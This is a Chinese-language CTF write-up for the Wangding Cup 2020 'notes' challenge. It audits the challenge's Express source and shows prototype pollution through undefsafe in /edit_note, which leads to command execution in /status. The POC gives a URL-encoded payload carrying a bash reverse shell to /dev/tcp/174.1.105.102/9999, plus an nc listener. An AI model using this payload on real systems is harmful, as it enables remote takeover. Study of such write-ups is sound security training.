Buuoj|[网鼎杯2020 青龙组]notes

0x00 知识点

1.Node.js-express 框架代码审计
2.JS 原型链污染

0x01 解题思路

代码审计

题目把源码给出来了,直接可以进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();

class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}

write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}

get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}

edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

get_all_notes() {
return this.note_list;
}

remove_note(id) {
delete this.note_list[id];
}
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");

//参数设置
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

//中间件配置
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));

//路由
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})

app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})

app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) { //遍历所有属性,包含对象原型中的属性
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})

app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});

app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});

const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

简单的审计一下,没发现flag相关,但是能够在/tatus路由下发现一个危险的命令执行函数exec(),猜测是达成RCE反弹shell.
exec()的参数来看,是使用for in语句轮流执行commands这个对象中每个属性所包含的字符串命令,而JS的特性for in语句会递归使用参数,即对象原型中的参数也会被使用
所以猜测是通过原型链污染的手段在原型对象中添加指令达到RCE的目的,那么接下来的问题变为了怎么造成原型链污染

undefsafe造成的原型链污染

在开头引入了一个undefsafe()函数,主要作用是可以修改对象的深层属性,Useage:

1
2
3
4
5
6
7
8
9
10
undefsafe(object, string path, value)
例子:
var object = {
a: {
b: [1,2,3]
}
};
var res = undefsafe(object, 'a.b.0', 10);
console.log(object); // { a: { b: [10, 2, 3] } }
console.log(res); // 1 - previous value

猜想可以利用一下,在edit_notes路由中能找到相关的可控参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}

app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})

其中参数id``author``raw是我们可控的POST参数,而参数在传入之后会调用对象的方法,进而在方法中调用undefsafe函数,可以考虑undefsafe(object,__proto__,payload)来造成原型链污染

反弹shell

最后只需要访问/status路由完成命令执行反弹shell

POC

首先打开一台公网服务器,用nc监听端口nc -lvvp 9999
然后POST参数
id%3d__proto__%26author%3dbash+-i+%3e%26+%2fdev%2ftcp%2f174.1.105.102%2f9999+0%3e%261%26raw%3d123
因为使用了urlencode中间件,所以需要将参数urlencode一下
之后访问/status,命令就会被成功执行,shell被弹到了远程服务器上,在根目录下就能够找到flag